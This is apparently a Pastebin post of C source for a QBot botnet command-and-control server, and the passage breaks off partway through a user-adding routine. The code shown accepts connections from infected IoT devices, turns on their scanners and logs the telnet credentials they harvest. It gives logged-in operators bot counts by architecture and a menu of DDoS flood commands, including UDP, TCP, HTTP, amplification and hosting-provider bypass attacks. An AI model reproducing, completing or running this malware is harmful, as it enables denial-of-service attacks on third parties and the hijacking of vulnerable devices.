KekSec

YET ANOTHER QBOT SERVER BY FREAK

Oct 31st, 2020 (edited)
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 34.22 KB | None | 0 0
  1. /*
  2. Usage: screen ./server [BOT-PORT] [THREADS] [CNC-PORT]
  3. Created On: 1-5-19
  4. Created By "Paraxinal" - modified by Freak
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <stdint.h>
  9. #include <inttypes.h>
  10. #include <string.h>
  11. #include <strings.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netdb.h>
  15. #include <unistd.h>
  16. #include <time.h>
  17. #include <fcntl.h>
  18. #include <sys/epoll.h>
  19. #include <errno.h>
  20. #include <pthread.h>
  21. #include <signal.h>
  22. #include <arpa/inet.h>
  23. #define MAXFDS 1000000
  24.  
  25.  
  26. int ppc = 0;
  27. int sh4 = 0;
  28. int x86 = 0;
  29. int armv3 = 0;
  30. int armv4t = 0;
  31. int armv6 = 0;
  32. int armv7 = 0;
  33. int mips = 0;
  34. int m68k = 0;
  35. int sparc = 0;
  36. int mipsel = 0;
  37. int unknown = 0;
  38. //////////////////////////////////
  39. struct login_info {
  40.     char username[20];
  41.     char password[20];
  42. };
  43. static struct login_info accounts[20];
  44. struct clientdata_t {
  45.         uint32_t ip;
  46.         char connected;
  47.         char arch[50];
  48. } clients[MAXFDS];
  49. struct telnetdata_t {
  50.         int connected;
  51.         char ip[16];
  52.         char username[50];
  53.         char userprompt[1024];
  54.         int mute;
  55. } managements[MAXFDS];
  56. struct kekl {
  57.         int sock;
  58.         uint32_t ip;
  59.         struct sockaddr_in cli_addr;
  60. };
  61. static volatile FILE *telFD;
  62. static volatile FILE *fileFD;
  63. static volatile int epollFD = 0;
  64. static volatile int listenFD = 0;
  65. static volatile int OperatorsConnected = 0;
  66. static volatile int TELFound = 0;
  67. static volatile int scannerreport;
  68. char auresp[1024];
  69. char new_username[40];
  70. char new_password[40];
  71. //////////////////////////////////
  72. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  73.     int total = 0, got = 1;
  74.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  75.     return got;
  76. }
  77. void trim(char *str) {
  78.     int i;
  79.     int begin = 0;
  80.     int end = strlen(str) - 1;
  81.     while (isspace(str[begin])) begin++;
  82.     while ((end >= begin) && isspace(str[end])) end--;
  83.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  84.     str[i - begin] = '\0';
  85. }
  86. static int make_socket_non_blocking (int sfd) {
  87.     int flags, s;
  88.     flags = fcntl (sfd, F_GETFL, 0);
  89.     if (flags == -1) {
  90.         perror ("fcntl");
  91.         return -1;
  92.     }
  93.     flags |= O_NONBLOCK;
  94.     s = fcntl (sfd, F_SETFL, flags);
  95.     if (s == -1) {
  96.         perror ("fcntl");
  97.         return -1;
  98.     }
  99.     return 0;
  100. }
  101. static int create_and_bind (char *port) {
  102.     struct addrinfo hints;
  103.     struct addrinfo *result, *rp;
  104.     int s, sfd;
  105.     memset (&hints, 0, sizeof (struct addrinfo));
  106.     hints.ai_family = AF_UNSPEC;    
  107.     hints.ai_socktype = SOCK_STREAM;
  108.     hints.ai_flags = AI_PASSIVE;  
  109.     s = getaddrinfo (NULL, port, &hints, &result);
  110.     if (s != 0) {
  111.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  112.         return -1;
  113.     }
  114.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  115.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116.         if (sfd == -1) continue;
  117.         int yes = 1;
  118.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120.         if (s == 0) {
  121.             break;
  122.         }
  123.         close (sfd);
  124.     }
  125.     if (rp == NULL) {
  126.         fprintf (stderr, "Could not bind\n");
  127.         return -1;
  128.     }
  129.     freeaddrinfo (result);
  130.     return sfd;
  131. }
  132. const char *get_host(uint32_t addr)
  133. {
  134.     struct in_addr in_addr_ip;
  135.     in_addr_ip.s_addr = addr;
  136.     return inet_ntoa(in_addr_ip);
  137. }
  138. void broadcast(char *msg, int us, char *sender)
  139. {
  140.         int sendMGM = 1;
  141.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  142.         char *wot = malloc(strlen(msg) + 10);
  143.         memset(wot, 0, strlen(msg) + 10);
  144.         strcpy(wot, msg);
  145.         trim(wot);
  146.         time_t rawtime;
  147.         struct tm * timeinfo;
  148.         time(&rawtime);
  149.         timeinfo = localtime(&rawtime);
  150.         char *timestamp = asctime(timeinfo);
  151.         trim(timestamp);
  152.         int i;
  153.         char kekolds[1024];
  154.         for(i = 0; i < MAXFDS; i++)
  155.         {
  156.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  157.                 if(sendMGM && managements[i].connected && managements[i].mute == 0)
  158.                 {
  159.                         send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  160.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  161.                         send(i, ": ", 2, MSG_NOSIGNAL);
  162.                 }
  163.                 printf("sent to fd: %d\n", i);
  164.                 if(sendMGM && managements[i].mute == 0 || clients[i].connected) send(i, msg, strlen(msg), MSG_NOSIGNAL);
  165.                 snprintf(kekolds, sizeof(kekolds), "\r\n%s\x1b[36m> \x1b[0m", managements[i].username);
  166.                 if(sendMGM && managements[i].connected && managements[i].mute == 0) send(i, kekolds, strlen(kekolds), MSG_NOSIGNAL);
  167.                 else if(clients[i].connected) send(i, "\n", 1, MSG_NOSIGNAL);
  168.         }
  169.         memset(kekolds, 0, sizeof(kekolds));
  170.         free(wot);
  171. }
  172. void *BotEventLoop(void *useless) {
  173.     struct epoll_event event;
  174.     struct epoll_event *events;
  175.     int s;
  176.     events = calloc (MAXFDS, sizeof event);
  177.     while (1) {
  178.         int n, i;
  179.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  180.         for (i = 0; i < n; i++) {
  181.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  182.                 clients[events[i].data.fd].connected = 0;
  183.                 close(events[i].data.fd);
  184.                 continue;
  185.             }
  186.             else if (listenFD == events[i].data.fd) {
  187.                while (1) {
  188.                 struct sockaddr in_addr;
  189.                 socklen_t in_len;
  190.                 int infd, ipIndex;
  191.  
  192.                 in_len = sizeof in_addr;
  193.                 infd = accept (listenFD, &in_addr, &in_len);
  194.                 if (infd == -1) {
  195.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  196.                     else {
  197.                         perror ("accept");
  198.                         break;
  199.                          }
  200.                 }
  201.  
  202.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  203.                 int dup = 0;
  204.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  205.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  206.                     if(clients[ipIndex].ip == clients[infd].ip) {
  207.                         dup = 1;
  208.                         break;
  209.                     }}
  210.                 if(dup) {
  211.                     if(send(infd, "KILLMYEYEPEEUSINGHOIC\n", 22, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  212.                     close(infd);
  213.                     continue;
  214.                 }
  215.                 s = make_socket_non_blocking (infd);
  216.                 if (s == -1) { close(infd); break; }
  217.                 event.data.fd = infd;
  218.                 event.events = EPOLLIN | EPOLLET;
  219.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  220.                 if (s == -1) {
  221.                     perror ("epoll_ctl");
  222.                     close(infd);
  223.                     break;
  224.                 }
  225.                 clients[infd].connected = 1;
  226.                 send(infd, "SCANNER ON\n", 11, MSG_NOSIGNAL);
  227.             }
  228.             continue;
  229.         }
  230.         else {
  231.             int datafd = events[i].data.fd;
  232.             struct clientdata_t *client = &(clients[datafd]);
  233.             int done = 0;
  234.             client->connected = 1;
  235.             while (1) {
  236.                 ssize_t count;
  237.                 char buf[2048];
  238.                 memset(buf, 0, sizeof buf);
  239.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  240.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  241.                     trim(buf);
  242.                     if(strcmp(buf, "PING") == 0) {
  243.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  244.                         continue;
  245.                     }
  246.                     if(strstr(buf, "TELNET ") == buf) {
  247.                         char *line = strstr(buf, "TELNET ") + 7;
  248.                         fprintf(telFD, "%s\n", line);
  249.                         fflush(telFD);
  250.                         TELFound++;
  251.                         continue;
  252.                     }
  253.                     if(strcmp(buf, "PONG") == 0) {
  254.                         continue;
  255.                     }
  256.                     else if(strstr(buf, "arch ") != NULL)
  257.                     {
  258.                         char *arch = strtok(buf, " ")+sizeof(arch)-3;
  259.                         strcpy(clients->arch, arch);
  260.                         strcpy(clients[datafd].arch, arch);
  261.                     }
  262.                        
  263.                     printf("buf: \"%s\"\n", buf);
  264.                 }
  265.                 if (count == -1) {
  266.                     if (errno != EAGAIN) {
  267.                         done = 1;
  268.                     }
  269.                     break;
  270.                 }
  271.                 else if (count == 0) {
  272.                     done = 1;
  273.                     break;
  274.                 }
  275.             if (done) {
  276.                 client->connected = 0;
  277.                 memset(client[datafd].arch, 0, sizeof(client[datafd].arch));
  278.                 close(datafd);
  279. }}}}}}
  280. unsigned int BotsConnected() {
  281.     int i = 0, total = 0;
  282.     for(i = 0; i < MAXFDS; i++) {
  283.         if(!clients[i].connected) continue;
  284.         total++;
  285.     }
  286.     return total;
  287. }
  288. void *TitleWriter(void *sock) {
  289.     int datafd = (int)sock;
  290.     char string[2048];
  291.     while(1) {
  292.         memset(string, 0, 2048);
  293.         sprintf(string, "%c]0;Devices: %d | Users Online: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  294.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  295.         sleep(2);
  296. }}
  297. int Find_Login(char *str) {
  298.     FILE *fp;
  299.     int line_num = 0;
  300.     int find_result = 0, find_line=0;
  301.     char temp[512];
  302.  
  303.     if((fp = fopen("login.txt", "r")) == NULL){
  304.         return(-1);
  305.     }
  306.     while(fgets(temp, 512, fp) != NULL){
  307.         if((strstr(temp, str)) != NULL){
  308.             find_result++;
  309.             find_line = line_num;
  310.         }
  311.         line_num++;
  312.     }
  313.     if(fp)
  314.         fclose(fp);
  315.     if(find_result == 0)return 0;
  316.     return find_line;
  317. }
  318. void countArch()
  319. {
  320.     int x;
  321.     ppc = 0;
  322.     sh4 = 0;
  323.     x86 = 0;
  324.     armv3 = 0;
  325.     armv4t = 0;
  326.     armv6 = 0;
  327.     armv7 = 0;
  328.     mips = 0;
  329.     m68k = 0;
  330.     ppc = 0;
  331.     sparc = 0;
  332.     mipsel = 0;
  333.     unknown = 0;
  334.     for(x = 0; x < MAXFDS; x++)
  335.     {
  336.         if(strstr(clients[x].arch, "ppc") && clients[x].connected == 1)
  337.             ppc++;
  338.         else if(strstr(clients[x].arch, "SH4") && clients[x].connected == 1)
  339.             sh4++;
  340.         else if(strstr(clients[x].arch, "x86_") && clients[x].connected == 1)
  341.             x86++;
  342.         else if(strstr(clients[x].arch, "ARM3") && clients[x].connected == 1)
  343.             armv3++;
  344.         else if(strstr(clients[x].arch, "ARM4T") && clients[x].connected == 1)
  345.             armv4t++;
  346.         else if(strstr(clients[x].arch, "ARM6") && clients[x].connected == 1)
  347.             armv6++;
  348.         else if(strstr(clients[x].arch, "ARM7") && clients[x].connected == 1)
  349.             armv7++;
  350.         else if(strstr(clients[x].arch, "MIPSEL") || strstr(clients[x].arch, "mipsel") && clients[x].connected == 1)
  351.             mipsel++;
  352.         else if(strstr(clients[x].arch, "MIPS") && clients[x].connected == 1)
  353.             mips++;
  354.         else if(strstr(clients[x].arch, "M68K") && clients[x].connected == 1)
  355.             m68k++;
  356.         else if(strstr(clients[x].arch, "POWERPC") && clients[x].connected == 1)
  357.             ppc++;
  358.         else if(strstr(clients[x].arch, "SPARC") && clients[x].connected == 1)
  359.             sparc++;
  360.         else if(strstr(clients[x].arch, "unknown") && clients[x].connected == 1 || clients[x].arch == NULL && clients[x].connected == 1 || strlen(clients[x].arch) <= 0 && clients[x].connected == 1)
  361.             unknown++;
  362.     }
  363. }
  364. void *BotWorker(void *sock) {
  365.     struct kekl *args = sock;
  366.     int datafd = (int)args->sock;
  367.     const char *management_ip = get_host(args->ip);
  368.     int find_line;
  369.     OperatorsConnected++;
  370.     pthread_t title;
  371.     char buf[2048];
  372.     char* username;
  373.     char* password;
  374.     memset(buf, 0, sizeof buf);
  375.     char botnet[2048];
  376.     memset(botnet, 0, 2048);
  377.     char botcount [2048];
  378.     memset(botcount, 0, 2048);
  379.     char statuscount [2048];
  380.     memset(statuscount, 0, 2048);
  381.  
  382.     FILE *fp;
  383.     int i=0;
  384.     int c;
  385.     fp=fopen("login.txt", "r");
  386.     while(!feof(fp)) {
  387.         c=fgetc(fp);
  388.         ++i;
  389.     }
  390.     int j=0;
  391.     rewind(fp);
  392.     while(j!=i-1) {
  393.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  394.         ++j;
  395.     }
  396.  
  397.         sprintf(botnet, "\e[31mUsername\e[97m: ");
  398.         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  399.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  400.         trim(buf);
  401.         char* nickstring;
  402.         nickstring = ("%s", buf);
  403.         find_line = Find_Login(nickstring);
  404.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  405.         snprintf(managements[datafd].username, sizeof(managements[datafd].username), "%s", buf);
  406.         snprintf(managements[datafd].userprompt, sizeof(managements[datafd].userprompt), "\e[31m%s:\e[31m", managements[datafd].username);
  407.         memset(buf, 0, sizeof(buf));
  408.         sprintf(botnet, "\e[31mPassword\e[97m: \e[30m");
  409.         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  410.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  411.         trim(buf);
  412.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  413.         memset(buf, 0, 2048);
  414.         goto Banner;
  415.         }
  416.         failed:
  417.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  418.         char failed_line1[80];
  419.        
  420.         sprintf(failed_line1, "\e[105m            Invalid Login!        \r\n");
  421.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  422.         sleep(5);
  423.         goto end;
  424.  
  425.         Banner:
  426.         pthread_create(&title, NULL, &TitleWriter, datafd);
  427.         char ascii_banner_line1 [5000];
  428.         char ascii_banner_line2 [5000];
  429.         char ascii_banner_line3 [5000];
  430.         char ascii_banner_line4 [5000];
  431.         char ascii_banner_line5 [5000];
  432.         char ascii_banner_line6 [5000];
  433.         char ascii_banner_line7 [5000];
  434.         char ascii_banner_line8 [5000];
  435.         char ascii_banner_line9 [5000];
  436.         char welcome_line [80];
  437.         char banner_bot_count [2048];
  438.         memset(banner_bot_count, 0, 2048);
  439.        
  440.         sprintf(ascii_banner_line1, "\x1b[36m   **     **              **          \r\n");
  441.         sprintf(ascii_banner_line2, "\x1b[36m  /**    /**             //           \r\n");
  442.         sprintf(ascii_banner_line3, "\x1b[36m  /**    /**   *******    **   **   **\r\n");
  443.         sprintf(ascii_banner_line4, "\x1b[36m  /**    /*   //**///**  /**  //** ** \r\n");
  444.         sprintf(ascii_banner_line5, "\x1b[36m  /**    /**   /**  /**  /**   //***  \r\n");
  445.         sprintf(ascii_banner_line6, "\x1b[36m  /**    /**   /**  /**  /**    **/** \r\n");
  446.         sprintf(ascii_banner_line7, "\x1b[36m  //*******    ***  /**  /**   ** //**\r\n");
  447.         sprintf(ascii_banner_line8, "\x1b[36m   ///////    ///   //   //   //   // \r\n");
  448.         sprintf(ascii_banner_line9, "\r\n");   
  449.         sprintf(welcome_line,       "\x1b[37m        #\x1b[36m----- \x1b[37mBot Count: %d\x1b[36m -----\x1b[37m#\r\n", BotsConnected(), OperatorsConnected);
  450.         sprintf(banner_bot_count,   "\r\n\x1b[37m    #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[37m#\r\n", accounts[find_line].username);
  451.  
  452.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  453.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  454.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  455.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  456.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  457.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  458.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  459.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  460.         if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  461.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  462.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  463.         if(send(datafd, managements[datafd].userprompt, strlen(managements[datafd].userprompt), MSG_NOSIGNAL) == -1) goto end;
  464.         managements[datafd].connected = 1;
  465.         managements[datafd].mute = 0; // 1 = muted | 0 = unmuted
  466.         snprintf(managements[datafd].ip, sizeof(managements[datafd].ip), "%s", management_ip); // store our ip
  467.         printf("\x1b[35m%s\x1b[31m:\x1b[36m%s\x1b[32m logged in\x1b[37m.\n", managements[datafd].username, managements[datafd].ip);
  468.         FILE *client_logs;
  469.         client_logs = fopen("clients.txt", "a");
  470.         if(client_logs == NULL)
  471.             client_logs = fopen("clients.txt", "w");
  472.         fprintf(client_logs, "%s:%s\n", managements[datafd].username, managements[datafd].ip);
  473.         fclose(client_logs);
  474.  
  475.         while(fdgets(buf, sizeof buf, datafd) > 0)
  476.         {
  477.             if(strstr(buf, "bots"))
  478.             {
  479.                 countArch();
  480.                 if(BotsConnected() == 0)
  481.                 {
  482.                     sprintf(botnet, "\x1b[1;36musers [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", OperatorsConnected);
  483.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  484.                 }
  485.                 else
  486.                 {
  487.                     sprintf(botnet, "\x1b[1;36mUsers [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", OperatorsConnected);
  488.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  489.                     if(ppc != 0)
  490.                     {
  491.                         sprintf(botnet, "\x1b[1;36mpowerpc [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", ppc);
  492.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  493.                     }
  494.                     if(sh4 != 0)
  495.                     {
  496.                         sprintf(botnet, "\x1b[1;36msh4 [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", sh4);
  497.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  498.                     }
  499.                     if(x86 != 0)
  500.                     {
  501.                         sprintf(botnet, "\x1b[1;36mx86 [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", x86);
  502.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  503.                     }
  504.                     if(armv3 != 0)
  505.                     {
  506.                         sprintf(botnet, "\x1b[1;36marm3 [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", armv3);
  507.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  508.                     }
  509.                     if(armv4t != 0)
  510.                     {
  511.                         sprintf(botnet, "\x1b[1;36marm4t [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", armv4t);
  512.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  513.                     }
  514.                     if(armv6 != 0)
  515.                     {
  516.                         sprintf(botnet, "\x1b[1;36marm6 [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", armv6);
  517.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  518.                     }
  519.                     if(armv7 != 0)
  520.                     {
  521.                         sprintf(botnet, "\x1b[1;36marm7 [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", armv7);
  522.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  523.                     }
  524.                     if(mips != 0)
  525.                     {
  526.                         sprintf(botnet, "\x1b[1;36mmips [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", mips);
  527.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  528.                     }
  529.                     if(m68k != 0)
  530.                     {
  531.                         sprintf(botnet, "\x1b[1;36mm68k [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", m68k);
  532.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  533.                     }
  534.                     if(sparc != 0)
  535.                     {
  536.                         sprintf(botnet, "\x1b[1;36msparc [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", sparc);
  537.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  538.                     }
  539.                     if(mipsel != 0)
  540.                     {
  541.                         sprintf(botnet, "\x1b[1;36mmipsel [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", mipsel);
  542.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  543.                     }
  544.                     if(unknown != 0)
  545.                     {
  546.                         sprintf(botnet, "\x1b[1;36munknown [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", unknown);
  547.                         if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  548.                     }
  549.                     sprintf(botnet, "\x1b[1;36mTotal: [\x1b[0m%d\x1b[1;36m]\r\n\x1b[0m", BotsConnected());
  550.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  551.                 }
  552.             }
  553.             else if(strstr(buf, "stat")){
  554.                 sprintf(statuscount, "TELNET DEVICES: %d  TELNET STATUS: %d\r\n", TELFound, scannerreport);
  555.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  556.             }
  557.             else if(strstr(buf, "HELP") || strstr(buf, "help") || strstr(buf, "?")) {
  558.  
  559.                 char ddosline1  [150];
  560.                 char ddosline2  [150];
  561.                 char ddosline3  [150];
  562.                 char ddosline4  [150];
  563.                 char ddosline5  [150];
  564.                 char ddosline6  [150];
  565.                 char ddosline7  [150];
  566.                 char ddosline8  [150];
  567.                 char ddosline9  [150];
  568.                 char ddosline10 [150];
  569.                 char ddosline11 [150];
  570.                 char ddosline12 [150];
  571.                 char ddosline13 [150];
  572.                 char ddosline14 [150];
  573.                 char ddosline15 [150];
  574.                 sprintf(ddosline1, "\e[37m  β•”════════════════════════════════════════════════════════════════════════════════════════════════════════════╗  \e[37m\r\n");
  575.                 sprintf(ddosline2, "\e[37m  β•‘  [!] Attack Commands                                                                                      β•‘\r\n");
  576.                 sprintf(ddosline3, "\e[37m  β•‘  [+]   UDP Flood:  UDP  [IP] [PORT] [TIME]                                                                 β•‘\r\n");
  577.                 sprintf(ddosline4, "\e[37m  β•‘  [+]   STD Flood:  STD  [IP] [PORT] [TIME]                                                                 β•‘\r\n");
  578.                 sprintf(ddosline5, "\e[37m  β•‘  [+]   TCP Flood:  TCP  [IP] [PORT] [TIME] [FLAGS/ALL/SYN/ACK/URG/XMAS/ETC] [SIZE]                         β•‘\r\n");
  579.                 sprintf(ddosline6, "\e[37m  β•‘  [+]   VSE Flood:  VSE  [IP] [PORT] [TIME] [SIZE]                                                          β•‘\r\n");
  580.                 sprintf(ddosline7, "\e[37m  β•‘  [+]   JUNK Flood: JUNK [IP] [PORT] [TIME]                                                                 β•‘\r\n");
  581.                 sprintf(ddosline8, "\e[37m  β•‘  [+]   HOLD Flood: HOLD [IP] [PORT] [TIME]                                                                 β•‘\r\n");
  582.                 sprintf(ddosline9, "\e[37m  β•‘  [+]   BLACKNURSE Flood: BLACKNURSE [IP] [TIME]                                                            β•‘\r\n");
  583.                 sprintf(ddosline10, "\e[37m  β•‘  [+]   HTTP Flood: HTTP [METHOD] [TARGET] [PORT] / [TIME] [POWER]                                          β•‘\r\n");
  584.                 sprintf(ddosline11, "\e[37m  β•‘  [+]   HTTP Hex: HTTPHEX [METHOD] [TARGET] [PORT] / [TIME] [POWER]                                         β•‘\r\n");
  585.                 sprintf(ddosline12, "\e[37m  β•‘  [+]   AMP FLOOD:  AMP [LDAP/MEMCACHED/STUN/SSD] [target IP] [port] [reflection file url] [forks] [time]   β•‘\r\n");
  586.                 sprintf(ddosline13, "\e[37m  β•‘  [+]   OVH UDP RAPE FLOOD:  OVH [IP] [PORT] [SIZE] [TIME] [FORKS]                                          β•‘\r\n");
  587.                 sprintf(ddosline14, "\e[37m  β•‘  [+]   NFODROP: NFODROP [IP] [PORT] [SIZE]                                                                 β•‘\r\n");
  588.                 sprintf(ddosline15, "\e[37m  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•\r\n");
  589.  
  590.                 if(send(datafd, ddosline1,  strlen(ddosline1),  MSG_NOSIGNAL) == -1) goto end;
  591.                 if(send(datafd, ddosline2,  strlen(ddosline2),  MSG_NOSIGNAL) == -1) goto end;
  592.                 if(send(datafd, ddosline3,  strlen(ddosline3),  MSG_NOSIGNAL) == -1) goto end;
  593.                 if(send(datafd, ddosline4,  strlen(ddosline4),  MSG_NOSIGNAL) == -1) goto end;
  594.                 if(send(datafd, ddosline5,  strlen(ddosline5),  MSG_NOSIGNAL) == -1) goto end;
  595.                 if(send(datafd, ddosline6,  strlen(ddosline6),  MSG_NOSIGNAL) == -1) goto end;
  596.                 if(send(datafd, ddosline7,  strlen(ddosline7),  MSG_NOSIGNAL) == -1) goto end;
  597.                 if(send(datafd, ddosline8,  strlen(ddosline8),  MSG_NOSIGNAL) == -1) goto end;
  598.                 if(send(datafd, ddosline9,  strlen(ddosline9),  MSG_NOSIGNAL) == -1) goto end;
  599.                 if(send(datafd, ddosline10,  strlen(ddosline10),    MSG_NOSIGNAL) == -1) goto end;
  600.                 if(send(datafd, ddosline11,  strlen(ddosline11),    MSG_NOSIGNAL) == -1) goto end;
  601.                 if(send(datafd, ddosline12,  strlen(ddosline12),    MSG_NOSIGNAL) == -1) goto end;
  602.                 if(send(datafd, ddosline13,  strlen(ddosline13),    MSG_NOSIGNAL) == -1) goto end;
  603.                 if(send(datafd, ddosline14,  strlen(ddosline14),    MSG_NOSIGNAL) == -1) goto end;
  604.                 if(send(datafd, ddosline15,  strlen(ddosline15),    MSG_NOSIGNAL) == -1) goto end;
  605.  
  606.             }
  607.             else if(strstr(buf, "!* unmute") || strstr(buf, "UNMUTE"))
  608.             {
  609.                 if(managements[datafd].mute == 1)
  610.                 {
  611.                     managements[datafd].mute = 0;
  612.                     sprintf(botnet, "\x1b[32mMute Disabled!\x1b[37m\r\n");
  613.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  614.                 }
  615.                 else
  616.                 {
  617.                     sprintf(botnet, "\x1b[31mError, Mute is Already Disabled.\x1b[37m\r\n");
  618.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  619.                 }
  620.             }
  621.             else if(strstr(buf, "!* mute") || strstr(buf, "!* MUTE"))
  622.             {
  623.                 if(managements[datafd].mute == 0)
  624.                 {
  625.                     managements[datafd].mute = 1;
  626.                     sprintf(botnet, "\x1b[32mMute Enabled!\x1b[37m\r\n");
  627.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  628.                 }
  629.                 else
  630.                 {
  631.                     sprintf(botnet, "\x1b[31mError, Mute is Already Enabled.\x1b[37m\r\n");
  632.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  633.                 }
  634.             }
  635.             if(strstr(buf, "!* kill")) {
  636.                 char killattack [2048];
  637.                 memset(killattack, 0, 2048);
  638.                 sprintf(killattack, "Succesfully Stopped Attack!\r\n");
  639.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  640.             }
  641.             else if(strstr(buf, "adduser") || strstr(buf, "ADDUSER"))
  642.             {
  643.                 if(!strcmp(managements[datafd].username, "Freak")) // this means the function will only work for the username root
  644.                 {
  645.                     reuser:
  646.                     memset(auresp, 0, sizeof(auresp));
  647.                     memset(new_username, 0, sizeof(new_username));
